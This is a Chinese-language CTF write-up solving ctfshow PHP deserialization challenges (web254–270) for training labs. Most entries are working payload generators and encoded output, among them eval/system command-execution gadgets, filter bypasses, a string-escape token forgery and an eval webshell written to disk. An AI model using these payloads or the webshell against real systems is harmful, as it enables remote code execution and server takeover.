- __sleep() ://在对象被序列化之前运行
- __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
- 如果类中同时定义了 __unserialize() 和__wakeup() 两个魔术方法, 则只有__unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
- __construct() :当对象被创建时,会触发进行初始化
- __destruct() :对象被销毁时触发
- __toString(): 当一个对象被当作字符串使用时触发
- __call() :在对象上下文中调用不可访问的方法时触发
- __callStatic() :在静态上下文中调用不可访问的方法时触发
- __get() :获得一个类的成员变量时调用,用于从不可访问的
- __invoke() :将对象当作函数来使用时执行此方法
web254
分析代码可知,当username和password都等于‘xxxxxx’时,isVip返回ture,就成功了
web255
分析代码可以知道我们需要传入password和username,并且会获取user的cookie值并进行反序列化
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=True;}
$a=new ctfShowUser();
echo urlencode(serialize($a));
运行这段代码,得到user的值
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
将user进行cookie传入,并且get传入username和password,username和password都等于xxxxxx,
web256
分析代码和上一题相比多了一个限制,username和password不能相等
所以我们构造代码时修改一下就可以
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='a';
public $isVip=True;}
$a=new ctfShowUser();
echo urlencode(serialize($a));
运行之后得到
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
将user用cookie传入,get传入username和password,username=xxxxxx,password=a
web257
分析代码,如果我们想得到flag,就需要利用backDoor中的getInfo()函数,触发getInfo()的在ctfShowUser这个类中,所以我们可以利用__destruct函数来触发创建对象时类的getInfo()函数,通过ctfShowUser的__construct魔术方法来创建backdoor对象
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class='backdoor';
public function __construct(){
$this->class=new backdoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('ls');";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a)).PHP_EOL;
?>
运行结果
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D
将其cookie传入,并将username和password get传入后出现
将上面执行命令的code的值改为tac flag.php
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class='backdoor';
public function __construct(){
$this->class=new backdoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a)).PHP_EOL;
?>
得到结果后再次传入就得到flag了
web258
解题思路和上一题基本相似,但是多了一个过滤,不能匹配到o:后边的数字,可以使用加号绕过
正则过滤[oc]是匹配o字符或c字符,\d匹配一个数字字符,等价于[0-9],+是匹配前面\d的一次或多次。
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='aaa';
public $password='bbb';
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo PHP_EOL;
echo urlencode($b);
?>
运行得到
O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A33%3A%22system%28%27tac+flag.php+index.php%27%29%3B%22%3B%7D%7D
传入就可以了
web259
web260
分析可知接受一个ctfshow的参数并序列化,只要序列化后还有ctfshow_i_love_36D
就返回flag
?ctfshow=ctfshow_i_love_36D
web261
如果类中同时定义了 __unserialize() 和__wakeup() 两个魔术方法, 则只有__unserialize() 方法会生效,__wakeup() 方法会被忽略。
所以这里不用管__wakeup,这里的code=0x36d,是弱比较,36d是十六进制,转换为十进制就是877,这里code是在__unserialize函数触发的时侯被username和password拼接起来的,所以只要username=877.php,password=shell就可以了。
<?php
class ctfshowvip
{
public $username;
public $password;
public function __construct()
{
$this->username = '877.php';
$this->password = '<?php eval($_REQUEST[cmd]);?>';
}
}
$a = new ctfshowvip();
echo serialize($a);
?>
运行后得到:
O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_REQUEST%5Bcmd%5D%29%3B%3F%3E%22%3B%7D
然后访问877.php进行RCE
web262
我们需要使token的值为admin
<?php
class message{
public $token;
public function __construct(){
$this->token='admin';
}
}
$a=new message();
echo serialize($a).PHP_EOL;
#得到token=admin的序列化结果
运行后得到
O:7:"message":1:{s:5:"token";s:5:"admin";}
我们只需要后半部分:{s:5:"token";s:5:"admin";},但是需要前面闭合的{,而且需要加“;来闭合前面的序列化字符串,所以:
";s:5:"token";s:5:"admin";}
然后按照题目的序列化,让to等于我们得到的值,然后运行一遍看看结果
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
观察运行结果
这里的s表示的值是28,但是遇到了字符3就闭合了,多出来的27个字符正好是我们构造的序列化字符串";s:5:"token";s:5:"admin";}
如果直接传入,那么在反序列化的时候就会错误,所以我们要想办法造出来多出来的27个字符,题目中有$umsg = str_replace('fuck', 'loveU', serialize($msg));会在序列化之后生成的字符串中fuck替换为loveU,所以我们构造payload的时候构造27个fuck就会替换多出来的27个字母,从而实现字符串逃逸,
//生成27个fuck
<?php
$a=1;
for($a=1;$a<=27;$a++){
echo 'fuck';
}
?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php得到flag
web263
web264
这道题基本和web262
基本一样,就是需要我们手动设置一下名为msg
的session
,payload照抄就可以了
设置msg
的session
,值随意
?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
get传参,然后访问message.php
web265
通过代码审计,我们需要传入ctfshow这个参数,使他反序列化之后token与password完全相等
但是传入之后token被重新赋值,等于一个md5加密之后的随机数,所以我们就得考虑一下如何让$this->password===$this->token
我们可以在PHP中变量的引用&
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='Leaf';
$this->password = &$this->token;
}
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));
运行后得到
O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A4%3A%22Leaf%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
get传参就得到flag
web266
我们需要构造反序列化ctfshow这个类的exp,但是存在正则匹配preg_match,如果我们传入ctfshow这个字符串就会抛出异常,抛出异常也就意味着这个程序没有被正常执行完毕,所以也就不会执行__destruct()魔术方法
但是可以看到这个正则匹配并没有增加/i也就是区分大小写,可以利用PHP对大小写不敏感的PHP特性来进行绕过,利用这一点,我们只需要让该类正常销毁即可
PHP特性
- 变量名区分大小写
- 常量名区分大小写
- 数组索引 (键名) 区分大小写
- 函数名, 方法名, 类名不区分大小写
- 魔术常量不区分大小写 (以双下划线开头和结尾的常量)
- NULL TRUE FALSE 不区分大小写
- 强制类型转换不区分大小写 (在变量前面加上 (type))
所以可以利用PHP对类名不区分大小写
的特性来构造exp
<?php
class Ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$a = new Ctfshow();
echo serialize($a);
运行后得到:
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
burp抓包然后将得到的payload放进去,$cs
的接受方式是php://input
,所以我们要把序列化字符串放到body体
中
web267
进入到登录界面,然后弱口令admin/admin
进入到后台
查看about
界面源代码,可以看到hint:view-source
构造payload:
?r=site%2Fabout&view-source
看到回显,发现注入点
访问shell.php,可以看到phpinfo()回显
进行RCE,得到flag
web268
和上一题做法一样,但是有过滤,所以需要POST传参
web269
同268
web270
同268